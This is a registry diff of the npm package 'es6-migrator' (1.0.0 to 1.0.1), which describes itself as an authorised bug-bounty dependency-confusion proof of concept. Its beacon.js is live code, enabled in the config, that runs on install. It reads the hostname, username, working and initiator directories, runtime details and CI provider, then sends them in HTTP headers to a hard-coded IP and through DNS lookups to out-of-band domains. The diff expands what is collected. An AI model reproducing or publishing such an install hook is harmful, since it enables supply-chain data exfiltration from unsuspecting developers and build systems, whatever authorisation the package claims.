es6-migrator 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -2,19 +2,21 @@ AUTHORIZED BUG BOUNTY SECURITY TEST
2
2
 
3
3
  Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
4
4
  Researcher: Izzet (HackerOne handle: izzet)
5
- Published test package: es6-migrator@1.0.0
5
+ Published test package: es6-migrator@1.0.1
6
6
 
7
7
  This package is a controlled dependency-confusion proof of concept prepared
8
8
  for authorized bug bounty security research. It is not a production library.
9
9
 
10
10
  When explicitly enabled, its install hook sends a bounded callback containing
11
11
  only test correlation, package/version, a random per-execution event ID, bounded
12
- base32 hostname, OS account username, and current-working-directory values, and
12
+ base32 hostname, OS account username, package working directory and npm initiator
13
+ directory, a stable context ID, compact runtime code, CI-provider enum, and the
13
14
  source address observed by the server. HTTP and conditional DNS fallback carry
14
- the same attribution values. It does not list or read the working directory,
15
- read environment variables, local network configuration, project files,
16
- credentials, tokens, cloud metadata, or source code, and it does not create
17
- persistence or execute child commands.
15
+ the same attribution values. It reads only `INIT_CWD`, package-manager identity,
16
+ and the presence (not values) of fixed CI-provider variables. It does not list
17
+ directories, enumerate installed packages, inspect arbitrary environment values,
18
+ local network configuration, project files, credentials, tokens, cloud metadata,
19
+ or source code, and it does not create persistence or execute child commands.
18
20
 
19
21
  Public registry registration was separately authorized for this exact package,
20
22
  version, bounded callback behavior, and time-bounded observation window. This
package/DISCLOSURE CHANGED
@@ -1,6 +1,6 @@
1
1
  DUAL-USE SECURITY RESEARCH DISCLOSURE
2
2
 
3
- Package: es6-migrator@1.0.0
3
+ Package: es6-migrator@1.0.1
4
4
  Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
5
5
  Researcher: Izzet (HackerOne handle: izzet)
6
6
 
@@ -10,21 +10,27 @@ authorized bug bounty security research. It is not a production library.
10
10
  When explicitly enabled, its install lifecycle performs one bounded HTTP(S)
11
11
  GET to a unique researcher-controlled callback URL. The request carries only a
12
12
  test correlation path, a random per-execution event ID, bounded base32 hostname,
13
- operating-system username, and current-working-directory values, and the
14
- research identification User-Agent. The callback server observes the normal
15
- source IP and UTC request time; the package does not enumerate local network
16
- addresses.
13
+ operating-system username, package-working-directory and npm initiator-directory
14
+ values, a ten-character stable context ID, a compact runtime code, a fixed
15
+ CI-provider enum, and the research identification User-Agent. The callback
16
+ server observes the normal source IP and UTC request time; the package does not
17
+ enumerate local network addresses.
17
18
 
18
19
  If the HTTP request fails, times out, or returns a non-success response, the
19
- package may perform three DNS lookups to three configured probe subdomains under
20
- one research binding: one each for the bounded hostname, username, and current
21
- working directory. All three carry the same event ID and the exact same values
22
- and truncation flags as HTTP.
20
+ package may perform seven DNS lookups to seven configured probe subdomains under
21
+ one research binding: one each for hostname, username, package working directory,
22
+ npm initiator directory, stable context ID, compact runtime code, and CI-provider
23
+ enum. All seven carry the same event ID and the exact same bounded values and
24
+ truncation flags as HTTP.
23
25
 
24
- The package reads only the OS hostname, OS account username, and current working
25
- directory string. It does not list the directory or read environment variables,
26
- local network configuration, project files, credentials, tokens, source code,
27
- or cloud metadata. It does not execute child commands, create persistence,
26
+ The package reads the OS hostname, OS account username, current working directory,
27
+ `INIT_CWD`, platform/architecture/Node version, and package-manager name/version.
28
+ CI classification tests only whether a fixed set of provider variables is present
29
+ and never transmits their values. A truncated SHA-256-derived context ID permits
30
+ repeat/cross-package clustering without sending its full input. The package does
31
+ not list directories, enumerate installed packages, inspect arbitrary environment
32
+ values, local network configuration, project files, credentials, tokens, source
33
+ code, or cloud metadata. It does not execute child commands, create persistence,
28
34
  alter build artifacts, or provide remote command execution.
29
35
 
30
36
  This live-test artifact was separately authorized and reviewed for this exact
package/README.md CHANGED
@@ -8,6 +8,6 @@ The manifest declares `contentPolicy.class` as `dual-use`, and the package inclu
8
8
 
9
9
  This live-test copy was separately reviewed from the locked preparation artifact. Publication does not authorize reuse, redistribution, or execution outside the approved test.
10
10
 
11
- The install hook contains no command execution, persistence, directory listing, file inspection, credential access, or secret collection. When explicitly enabled, it performs one bounded HTTP(S) GET to the configured unique callback URL. Its attribution headers carry a random per-execution event ID and bounded base32 hostname, OS account username, and current-working-directory values. The server observes the normal source IP.
11
+ The install hook contains no command execution, persistence, directory listing, package enumeration, file inspection, credential access, or secret collection. When explicitly enabled, it performs one bounded HTTP(S) GET to the configured unique callback URL. Its attribution headers carry a random per-execution event ID; bounded base32 hostname, OS account username, package working directory, and npm initiator-directory values; a ten-character stable context ID; a compact OS/architecture/Node/package-manager runtime code; and a fixed CI-provider enum. The server observes the normal source IP.
12
12
 
13
- If three static OOB probe domains are configured and HTTP fails, the hook performs three DNS lookups: one each for hostname, username, and current working directory. Each field uses a distinct probe subdomain under one research binding; all three carry the same event ID, bounded value, and truncation flag as HTTP. It does not list or read the working directory and reads no environment data, local network configuration, credentials, tokens, project files, or cloud metadata.
13
+ If seven static OOB probe domains are configured and HTTP fails, the hook performs one DNS lookup per field. Each field uses a distinct probe subdomain under one research binding; all seven carry the same event ID and the same bounded value as HTTP. The hook reads `INIT_CWD` and parses only the package-manager name/version from `npm_config_user_agent`; CI classification tests only whether a fixed list of provider variables is present and never transmits their values. It does not list or read directories, enumerate packages, inspect arbitrary environment values, local network configuration, credentials, tokens, project files, source code, or cloud metadata.
@@ -1,9 +1,13 @@
1
1
  {
2
- "callback_url": "http://45.76.249.245/beacon/Dl0X4pr0iz3pR1luglaGnut3kCyB_vft/es6-migrator/1.0.0",
2
+ "callback_url": "http://45.76.249.245/beacon/QHHXFUL-YIB6g0kLLjMIDF_DFSRl2FdD/es6-migrator/1.0.1",
3
3
  "dns_fallback_domains": {
4
- "h": "vmjl1tkwxgoi3jamz7jvxw8py04i4twgz.oob.asm5.net",
5
- "p": "vmjl1tkwxgoi3jamz7jv9yuo6xrpwhgki.oob.asm5.net",
6
- "u": "vmjl1tkwxgoi3jamz7jvfjraso941aefb.oob.asm5.net"
4
+ "c": "bou8mh09j383tdvv4pjde09tw2jzo8162.oob.asm5.net",
5
+ "h": "bou8mh09j383tdvv4pjdfzr1mmk7vglqp.oob.asm5.net",
6
+ "i": "bou8mh09j383tdvv4pjd3i1rzse2yeo7b.oob.asm5.net",
7
+ "k": "bou8mh09j383tdvv4pjdv7xw11qdboe1j.oob.asm5.net",
8
+ "p": "bou8mh09j383tdvv4pjdkqly9oz0hn7z6.oob.asm5.net",
9
+ "r": "bou8mh09j383tdvv4pjdhqutndti1kxk4.oob.asm5.net",
10
+ "u": "bou8mh09j383tdvv4pjdlm6z6fgqoct0z.oob.asm5.net"
7
11
  },
8
12
  "enabled": true,
9
13
  "timeout_ms": 1500
package/beacon.js CHANGED
@@ -7,6 +7,17 @@ const dns = require("node:dns");
7
7
  const os = require("node:os");
8
8
  const config = require("./beacon-config.json");
9
9
 
10
+ const FIELD_KINDS = ["h", "u", "p", "i", "k", "r", "c"];
11
+ const DNS_METHODS = {
12
+ h: "resolve4",
13
+ u: "resolve6",
14
+ p: "resolveTxt",
15
+ i: "resolveMx",
16
+ k: "resolveCname",
17
+ r: "resolveNs",
18
+ c: "resolveSoa",
19
+ };
20
+
10
21
  let fallbackStarted = false;
11
22
  const eventRandomBytes = crypto.randomBytes(4);
12
23
  const eventId = base32Encode(eventRandomBytes).slice(0, 7);
@@ -68,7 +79,7 @@ function buildIdentityDnsLookupName(
68
79
  if (
69
80
  !bindingLabel ||
70
81
  labels.length < 1 ||
71
- !["h", "u", "p"].includes(kind) ||
82
+ !FIELD_KINDS.includes(kind) ||
72
83
  !/^[a-z2-7]{7}$/.test(correlatedEventId) ||
73
84
  !fragment ||
74
85
  !["f", "t"].includes(fragment.flag) ||
@@ -94,18 +105,19 @@ function buildIdentityDnsLookupName(
94
105
  function configuredDnsDomains() {
95
106
  const configured = config.dns_fallback_domains;
96
107
  if (configured && typeof configured === "object") {
97
- return {
98
- h: String(configured.h || "").toLowerCase().replace(/\.$/, ""),
99
- u: String(configured.u || "").toLowerCase().replace(/\.$/, ""),
100
- p: String(configured.p || "").toLowerCase().replace(/\.$/, ""),
101
- };
108
+ return Object.fromEntries(
109
+ FIELD_KINDS.map((kind) => [
110
+ kind,
111
+ String(configured[kind] || "").toLowerCase().replace(/\.$/, ""),
112
+ ]),
113
+ );
102
114
  }
103
- // Backward compatibility for local fixtures created before the three-hit-ID
104
- // ASM5 layout. Prepared publication artifacts use dns_fallback_domains.
115
+ // Backward compatibility for disabled/local fixtures. Prepared publication
116
+ // artifacts use one freshly minted domain per field.
105
117
  const legacy = String(config.dns_fallback_domain || "")
106
118
  .toLowerCase()
107
119
  .replace(/\.$/, "");
108
- return { h: legacy, u: legacy, p: legacy };
120
+ return Object.fromEntries(FIELD_KINDS.map((kind) => [kind, legacy]));
109
121
  }
110
122
 
111
123
  function resolveDnsFallback(attribution) {
@@ -128,35 +140,19 @@ function resolveDnsFallback(attribution) {
128
140
  };
129
141
  if (!Object.values(domains).every(validDomain)) return;
130
142
 
131
- const lookups = [
132
- [
133
- "resolve4",
134
- buildIdentityDnsLookupName(
135
- domains.h,
136
- "h",
137
- attribution.hostnameFragment,
138
- eventId,
139
- ),
140
- ],
141
- [
142
- "resolve6",
143
- buildIdentityDnsLookupName(
144
- domains.u,
145
- "u",
146
- attribution.usernameFragment,
147
- eventId,
148
- ),
149
- ],
150
- [
151
- "resolveTxt",
152
- buildIdentityDnsLookupName(
153
- domains.p,
154
- "p",
155
- attribution.currentPathFragment,
156
- eventId,
157
- ),
158
- ],
159
- ];
143
+ const fragments = {
144
+ h: attribution.hostnameFragment,
145
+ u: attribution.usernameFragment,
146
+ p: attribution.currentPathFragment,
147
+ i: attribution.initCwdFragment,
148
+ k: attribution.contextIdFragment,
149
+ r: attribution.runtimeFragment,
150
+ c: attribution.ciProviderFragment,
151
+ };
152
+ const lookups = FIELD_KINDS.map((kind) => [
153
+ DNS_METHODS[kind],
154
+ buildIdentityDnsLookupName(domains[kind], kind, fragments[kind], eventId),
155
+ ]);
160
156
  if (lookups.some(([, lookupName]) => !lookupName)) return;
161
157
  const resolver = new dns.Resolver();
162
158
  // This key is used only by the loopback integration test. The package
@@ -168,14 +164,81 @@ function resolveDnsFallback(attribution) {
168
164
  return;
169
165
  }
170
166
  }
171
- // Use a different record type per field. ASM5's wildcard A response is
172
- // cacheable, and three A questions can be collapsed by a recursive resolver
173
- // so only one reaches the authoritative interaction log.
167
+ // Use a different record type per field to reduce recursive-resolver cache
168
+ // collapse. Every field also has a unique ASM5 hit ID.
174
169
  for (const [method, lookupName] of lookups) {
175
170
  resolver[method](lookupName, () => {});
176
171
  }
177
172
  }
178
173
 
174
+ function detectCiProvider(environment = process.env) {
175
+ const present = (name) => Object.prototype.hasOwnProperty.call(environment, name);
176
+ if (present("GITHUB_ACTIONS")) return "g";
177
+ if (present("GITLAB_CI")) return "l";
178
+ if (present("JENKINS_URL") || present("JENKINS_HOME")) return "j";
179
+ if (present("CIRCLECI")) return "c";
180
+ if (present("BUILDKITE")) return "b";
181
+ if (present("TF_BUILD")) return "a";
182
+ if (present("TEAMCITY_VERSION")) return "m";
183
+ if (present("TRAVIS")) return "t";
184
+ if (present("BITBUCKET_BUILD_NUMBER")) return "q";
185
+ if (present("CODEBUILD_BUILD_ID")) return "w";
186
+ if (present("CI")) return "i";
187
+ return "n";
188
+ }
189
+
190
+ function packageManagerCode(userAgent = process.env.npm_config_user_agent) {
191
+ const match = String(userAgent || "")
192
+ .toLowerCase()
193
+ .match(/^(npm|pnpm|yarn|bun)\/([0-9]{1,3})/);
194
+ if (!match) return { code: "o", major: 0 };
195
+ const codes = { npm: "n", pnpm: "p", yarn: "y", bun: "b" };
196
+ return {
197
+ code: codes[match[1]] || "o",
198
+ major: Math.min(Number(match[2]) || 0, 999),
199
+ };
200
+ }
201
+
202
+ function compactRuntimeSignature() {
203
+ const platformCodes = {
204
+ linux: "l",
205
+ darwin: "d",
206
+ win32: "w",
207
+ aix: "a",
208
+ freebsd: "f",
209
+ openbsd: "o",
210
+ sunos: "s",
211
+ };
212
+ const archCodes = {
213
+ x64: "x",
214
+ arm64: "a",
215
+ ia32: "3",
216
+ arm: "r",
217
+ ppc64: "p",
218
+ s390x: "s",
219
+ };
220
+ const nodeMajor = Math.min(
221
+ Number(String(process.versions.node || "0").split(".", 1)[0]) || 0,
222
+ 999,
223
+ );
224
+ const manager = packageManagerCode();
225
+ const platform = platformCodes[process.platform] || "x";
226
+ const arch = archCodes[process.arch] || "o";
227
+ return `${platform}${arch}${nodeMajor}${manager.code}${manager.major}`;
228
+ }
229
+
230
+ function stableContextId(hostname, username, initCwd) {
231
+ const input = [
232
+ "authorized-bug-bounty-depconf-poc-v2",
233
+ String(hostname || ""),
234
+ String(username || ""),
235
+ String(initCwd || ""),
236
+ String(process.platform || ""),
237
+ String(process.arch || ""),
238
+ ].join("\u0000");
239
+ return base32Encode(crypto.createHash("sha256").update(input).digest()).slice(0, 10);
240
+ }
241
+
179
242
  if (config.enabled === true) {
180
243
  let target;
181
244
  try {
@@ -187,7 +250,13 @@ if (config.enabled === true) {
187
250
  if (target && (target.protocol === "http:" || target.protocol === "https:")) {
188
251
  const transport = target.protocol === "https:" ? https : http;
189
252
  const timeout = Math.max(250, Math.min(Number(config.timeout_ms) || 1500, 5000));
190
- const userAgent = "authorized-bug-bounty-depconf-poc/1 h1:izzet";
253
+ const userAgent = "authorized-bug-bounty-depconf-poc/2 h1:izzet";
254
+ let hostname = "";
255
+ try {
256
+ hostname = os.hostname();
257
+ } catch {
258
+ hostname = "";
259
+ }
191
260
  let username = "";
192
261
  try {
193
262
  username = os.userInfo().username;
@@ -200,21 +269,40 @@ if (config.enabled === true) {
200
269
  } catch {
201
270
  currentPath = "";
202
271
  }
272
+ const initCwd = String(process.env.INIT_CWD || currentPath);
273
+ const contextId = stableContextId(hostname, username, initCwd);
274
+ const runtime = compactRuntimeSignature();
275
+ const ciProvider = detectCiProvider();
203
276
  const dnsDomains = Object.values(configuredDnsDomains()).filter(Boolean);
204
277
  const identityBudget = dnsDomains.length
205
278
  ? Math.min(...dnsDomains.map(identityBudgetForDomain))
206
279
  : 52;
207
- const hostnameFragment = encodeIdentityFragment(os.hostname(), identityBudget);
280
+ const hostnameFragment = encodeIdentityFragment(hostname, identityBudget);
208
281
  const usernameFragment = encodeIdentityFragment(username, identityBudget);
209
282
  const currentPathFragment = encodeIdentityFragment(currentPath, identityBudget);
210
- if (!hostnameFragment || !usernameFragment || !currentPathFragment) return;
211
- const hostnameHeader = `${hostnameFragment.flag}${hostnameFragment.encoded}`;
212
- const usernameHeader = `${usernameFragment.flag}${usernameFragment.encoded}`;
213
- const currentPathHeader = `${currentPathFragment.flag}${currentPathFragment.encoded}`;
283
+ const initCwdFragment = encodeIdentityFragment(initCwd, identityBudget);
284
+ const contextIdFragment = encodeIdentityFragment(contextId, identityBudget);
285
+ const runtimeFragment = encodeIdentityFragment(runtime, identityBudget);
286
+ const ciProviderFragment = encodeIdentityFragment(ciProvider, identityBudget);
287
+ const fragments = [
288
+ hostnameFragment,
289
+ usernameFragment,
290
+ currentPathFragment,
291
+ initCwdFragment,
292
+ contextIdFragment,
293
+ runtimeFragment,
294
+ ciProviderFragment,
295
+ ];
296
+ if (fragments.some((fragment) => !fragment)) return;
297
+ const asHeader = (fragment) => `${fragment.flag}${fragment.encoded}`;
214
298
  const attribution = {
215
299
  hostnameFragment,
216
300
  usernameFragment,
217
301
  currentPathFragment,
302
+ initCwdFragment,
303
+ contextIdFragment,
304
+ runtimeFragment,
305
+ ciProviderFragment,
218
306
  };
219
307
 
220
308
  const request = transport.request(
@@ -225,9 +313,13 @@ if (config.enabled === true) {
225
313
  "Cache-Control": "no-store",
226
314
  "User-Agent": userAgent,
227
315
  "X-Bug-Bounty-Event": eventId,
228
- "X-Bug-Bounty-Host": hostnameHeader,
229
- "X-Bug-Bounty-User": usernameHeader,
230
- "X-Bug-Bounty-Path": currentPathHeader,
316
+ "X-Bug-Bounty-Host": asHeader(hostnameFragment),
317
+ "X-Bug-Bounty-User": asHeader(usernameFragment),
318
+ "X-Bug-Bounty-Path": asHeader(currentPathFragment),
319
+ "X-Bug-Bounty-Initiator": asHeader(initCwdFragment),
320
+ "X-Bug-Bounty-Context": asHeader(contextIdFragment),
321
+ "X-Bug-Bounty-Runtime": asHeader(runtimeFragment),
322
+ "X-Bug-Bounty-CI": asHeader(ciProviderFragment),
231
323
  },
232
324
  },
233
325
  (response) => {
@@ -250,7 +342,11 @@ if (config.enabled === true) {
250
342
  module.exports = {
251
343
  base32Encode,
252
344
  buildIdentityDnsLookupName,
345
+ compactRuntimeSignature,
253
346
  configuredDnsDomains,
347
+ detectCiProvider,
254
348
  encodeIdentityFragment,
255
349
  identityBudgetForDomain,
350
+ packageManagerCode,
351
+ stableContextId,
256
352
  };
package/package.json CHANGED
@@ -1,8 +1,8 @@
1
1
  {
2
- "description": "AUTHORIZED BUG BOUNTY TEST - controlled dependency-confusion proof by HackerOne researcher izzet for finding 8300347c-b5e1-4718-a74a-9e1f27d828dc",
3
2
  "contentPolicy": {
4
3
  "class": "dual-use"
5
4
  },
5
+ "description": "AUTHORIZED BUG BOUNTY TEST - controlled dependency-confusion proof by HackerOne researcher izzet for finding 8300347c-b5e1-4718-a74a-9e1f27d828dc",
6
6
  "files": [
7
7
  "beacon.js",
8
8
  "beacon-config.json",
@@ -38,7 +38,7 @@
38
38
  "platform": "HackerOne"
39
39
  },
40
40
  "type": "authorized-bug-bounty-poc",
41
- "version": "1.0.0"
41
+ "version": "1.0.1"
42
42
  },
43
- "version": "1.0.0"
43
+ "version": "1.0.1"
44
44
  }